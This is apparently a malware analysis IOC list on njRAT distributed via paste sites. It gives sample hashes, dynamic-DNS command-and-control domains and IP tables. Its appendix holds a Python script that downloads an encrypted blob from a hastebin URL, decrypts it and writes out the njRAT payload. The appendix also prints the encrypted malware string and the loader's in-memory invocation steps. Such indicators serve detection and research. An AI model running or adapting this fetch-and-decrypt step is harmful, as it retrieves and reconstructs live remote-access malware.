

IOCs

Reference: <https://www.recordedfuture.com/hunting-paste-sites/>

njRAT binary

MD5: cb37dd7af56fed813a0f305fff322d20

SHA1: 8b970987cc739cbb156fd8c0c2a724458c467505

SHA256: 8520e4dcc580a9615d61f28a6f11c521444f2aed05c6f0aebb65f1d7392de429

SHA512: 2c34633d921d0d31768e8fe9d69b5db66330ab95396b42716f1a6e1f465dc722d6b9702
6f7223785bc361776df68fde79a9cfd810459b6052bb1b9181179a287

IMPHASH: d41d8cd98f00b204e9800998ecf8427e

SSDEEP: 384:qlubpizcmfdfsjrqlrgsixyvl46pg/i8bd9fmrvr6jzlbw8hquiuszzz0ho:fomhti+rpcnuy

Domains: wwwgooglecom.sytes[.]net
genesis96.no-ip[.]biz

DNS A record IP addresses for wwwgooglecom.sytes[.]net:

ASN	IP Address	Owner
8167	201.7.57.154	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.2.28.37	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	191.223.65.251	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.253.1.94	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.252.3.167	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.45.39	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.162.155	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.253.3.43	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	189.11.220.171	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.3.31.170	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.162.229	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.2.80.87	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.2.158.50	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.37.56	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.40.62	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.43.56	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.35.254	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.202.167.50	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	191.223.11.161	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.25.89.75	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.44.68	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.36.126	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.31.107	Brasil Telecom S/A - Filial Distrito Federal, BR

8167	201.67.82.237	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.40.46	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.253.1.123	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	191.223.102.174	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.61.122	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.45.157	Brasil Telecom S/A - Filial Distrito Federal, BR
29075	141.255.156.129	IELO IELO Main Network, FR
262296	177.11.120.32	Windx Networks, BR
262296	170.81.2.51	Windx Networks, BR

DNS A record IP addresses for genesis96.no-ip[.]biz:

```

32181 69.65.19.166      ASN-GIGENET - GigeNET, US
37705 41.226.244.46      TOPNET, TN
37705 197.0.70.48       TOPNET, TN

```

Malware Sample Relation via Domain (wwwgooglecom.sytes[.]net)

njRAT

```

MD5: 30e4e1c4eb442bb525e46139eaa651de
SHA1: cfb0b8499893379784f42ef8fb2cd944b0a4616b
SHA256: b0cc3ffdc6244aaafa136536da428d8ea2d96243ef27ba8fe63b8a3672034c2
SHA512: 9e52434e4fdf6e45540faf8916a05fc9fd4a899731f796d80f023bb8dddb91f4
      a7b4cff1f67b7298a14009e4965cdc2eb8fad6189348d09e2f5bb9e6b5253
IMPHASH: d41d8cd98f00b204e9800998ecf8427e
SSDEEP: 384:+8azyc9twbndcvfaly2h0dbjo6hghcasejqc/zmrvr6jzlbw8hqiuszzz036:4y+snkqnhnsdrpcnu0
Domains: wwwgooglecom.sytes[.]net
      genesis96.no-ip.biz

```

Domain Relation (wzleonardo258.no-ip[.]org)

Trojan Downloader

```

MD5 ab33870c5ea101f2f1298fe5e865b004
SHA1 f474cdfed74342a708744bca28bae69e3d7f20f4
SHA256 462940e9e4cad19c3b76ac47fbc0a11e18b1d117f2665e27fc3f9045b1e73dda
SHA512 23f6668677aa41e64d8336cd56c8f67e02b0139e42acf38d269a0f4503ebfb7027a91a5ba012c
dee8ce0390ab5a00d905f35e861ade2f35bfb21f910073644ad
IMPHASH f34d5f2d4577ed6d9ceec516c1f5a744
SSDEEP 1536:o+s763zvkkqyvzfczy50m9q+ef0hh9p322i6/wjfdi:fl1kqpxzfcz+efkdfh/wpdi

```

njRAT

MD5 f9180eb440834e759b389f5c1d71255e
SHA1 1c211f5ce61833c8741410de1a99b60af0046616
SHA256 20cbc31535a8b7f1894b95469e0def51e9f5c4633b7938db52819809091ca8d8
SHA512 119cd4aafd0871e30585cbbb9b75f6048bf5ec91e0c48617443340484bc895a4a0a13ae2a755
dd610bc7938ce4584dae253d5f8f974be44ac2151ad6e9bbd58d
IMPHASH d41d8cd98f00b204e9800998ecf8427e
SSDEEP 384:ch+n2650n3qzbatcjrhc5eo9d46bgnquhay1zmrvr6jzlbw8hqiuzzzzpy:cgm+71d5xrpcnu/

njRAT

MD5 e144332d7ed2ddcc7b3fb983f3068431
SHA1 2a3149cd66b92949934d0a236ce782bf2b312e6c
SHA256 acb9079a9ff2134d3aa4951eacedf082d2280ac7b43938acc887bb483835412f
SHA512 6e43e67b672e5e46bce38e3c355056cb1ab7b19ee474b892cf9a8ec1fcc5aa5010db19acd1ed
37d6f48b32f4a5b3345e4729cfa61e008507f5519d36cab18147
IMPHASH d41d8cd98f00b204e9800998ecf8427e
SSDEEP 384:qowskwha55bgdvrqipkitzy6vzg36eh7fpmrvr6jzlbw8hqiuzzzz9d:fjuk9phrpcnus

njRAT

MD5 650ecf958e0a2a1e38b3f588aa92a752
SHA1 b741f71aae010ca5f34e51c326299b21ffb489a0
SHA256 fa88f5c366ee699f3b01cf9396ca25a17b195cb62f0500a602f7b458dc07a995
SHA512 890b6d88a8dce50fb37fe9165fe673df5367e7fe83e541f1455edd145dcf4f8ac29ac1d3faa1bc8
6c679343529a9692d8639ba590b24b858d855e7a35d06b8e2
IMPHASH d41d8cd98f00b204e9800998ecf8427e
SSDEEP 384:anmkfyueehervobg16xuy0mhnw6tg1y+75jtbmrvr6jzlbw8hqiuzzzzqi:aww4v6+y/rpcnuy

Historical DNS A record IP addresses for wzleonardo258.no-ip[.]biz:

ASN	IP Address	Owner
8167	177.0.4.52	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.41.183	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.41.200	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.41.5	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.43.72	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.44.138	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.44.6	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.44.72	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.5.116	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.0.5.163	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.2.74.113	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.2.74.64	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.2.77.143	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.2.79.170	Brasil Telecom S/A - Filial Distrito Federal, BR

8167	177.2.79.186	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.7.100.113	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.7.100.205	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	177.7.102.96	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.252.3.57	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.161.239	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.161.66	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.162.143	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.34.152	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.35.248	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.36.217	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.36.253	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	179.254.37.143	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	187.53.13.239	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	187.53.14.152	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	187.53.48.57	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	189.10.49.222	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	189.11.238.199	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	191.223.100.16	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	191.223.102.237	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	191.223.38.124	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	191.223.72.232	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	191.223.72.59	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	200.101.90.59	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	200.101.91.121	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	200.101.92.159	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	200.103.105.71	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.24.57.73	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.24.58.98	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.25.90.106	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.25.90.241	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.25.91.55	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.3.31.59	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.67.1.87	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.67.2.161	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.67.2.179	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.67.39.10	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.67.39.137	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.67.82.188	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.67.82.40	Brasil Telecom S/A - Filial Distrito Federal, BR

8167	201.67.82.59	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.7.41.248	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.7.58.189	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.29.141	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.30.134	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.43.254	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.45.136	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.45.39	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.45.76	Brasil Telecom S/A - Filial Distrito Federal, BR
8167	201.88.59.19	Brasil Telecom S/A - Filial Distrito Federal, BR

Appendix

Python string decryption script:

```
import hmac, sha, base64, struct, requests
```

```
from Crypto.Cipher import AES
```

```
class AESDecryptor:
```

```
    def __init__(self, salt):
```

```
        self.salt = salt
```

```
    def decrypt(self, base64_payload, shared_secret):
```

```
        data = base64.b64decode(base64_payload)
```

```
        key = self.create_aes_key(shared_secret, self.salt, 1000, 256)
```

```
        iv_len = struct.unpack("i", data[:4])[0]
```

```
        iv = data[4:iv_len+4]
```

```
        encrypted_data = data[iv_len+4:]
```

```
        decryptor = AES.new(key[:32], AES.MODE_CBC, iv)
```

```
        return decryptor.decrypt(encrypted_data)
```

```
    def create_aes_key(self, password, salt, itercount, keylen, hashfn = sha):
```

```
        digest_size = hashfn.digest_size
```

```

# l - number of output blocks to produce

l = keylen / digest_size

if keylen % digest_size != 0:
    l += 1

h = hmac.new(password, None, hashfn)

T = ""

for i in range(1, l+1):
    T += self.pbkdf2_F( h, salt, itercount, i )

return T[0: keylen]

def xorstr(self, a, b ):
    ret = ""

    for i in range(len(a)):
        ret += chr(ord(a[i]) ^ ord(b[i]))

    return ret

def prf(self, h, data):
    hm = h.copy()
    hm.update(data)

    return hm.digest()

def pbkdf2_F(self, h, salt, itercount, blocknum):
    U = self.prf( h, salt + struct.pack('>i',blocknum) )

    T = U

    for i in range(2, itercount+1):
        U = self.prf( h, U )

        T = self.xorstr( T, U )

```

return T

```
decryptor = AESDecryptor("o6806642kbM7c5")
```

```
# Dim strings As String = Download.DownloadString("https://hastebin.com/raw/aceloridux")
```

```
strings = requests.get("https://hastebin.com/raw/aceloridux").text
```

```
# Dim Base64 As Byte() = Convert.FromBase64String(AES(strings,  
"EAAAACEnFZ0wDsAgFz54T6xjltmv4+T+egwCvXXqgN5VJ1L"))
```

```
Base64 = decryptor.decrypt(strings, "EAAAACEnFZ0wDsAgFz54T6xjltmv4+T+egwCvXXqgN5VJ1L")
```

with open("payload", "w") **as** f:

```
f.write(base64.b64decode(Base64))
```

```
# Dim Load As Object = Interaction.CallByName(AppDomain.CurrentDomain,  
AES("EAAAACEnFZ0wDsAgFz54T6xjltmv4+T+egwCvXXqgN5VJ1L", "1232123212321232123212321232121"),  
CallType.Method, Base64)
```

```
print "Load: ", decryptor.decrypt("EAAAACEnFZ0wDsAgFz54T6xjltmv4+T+egwCvXXqgN5VJ1L",  
"1232123212321232123212321232121")
```

```
# Dim EntryPoint As Object = Interaction.CallByName(Load,  
AES("EAAAACEnFZ0wDsAgFz54T6xjltmv4+T+egwCvXXqgN5VJ1L", "1232123212321232123212321232121"),  
CallType.[Get])
```

```
print "EntryPoint: ",  
decryptor.decrypt("EAAAACEnFZ0wDsAgFz54T6xjltmv4+T+egwCvXXqgN5VJ1L",  
"1232123212321232123212321232121")
```

```
# Dim invoke As Object = Interaction.CallByName(EntryPoint,  
AES("EAAAAGzRBSsnW2pXXjKn+GxH0X+MPJH/qqLIWaU3P8sHDL", "1232123212321232123212321232121"),  
CallType.Method, Nothing, Nothing)
```

```
print "invoke: ",  
decryptor.decrypt("EAAAAGzRBSsnW2pXXjKn+GxH0X+MPJH/qqLIWaU3P8sHDL",  
"1232123212321232123212321232121")
```

Hastebin.com original encrypted string (decrypts to njRAT):

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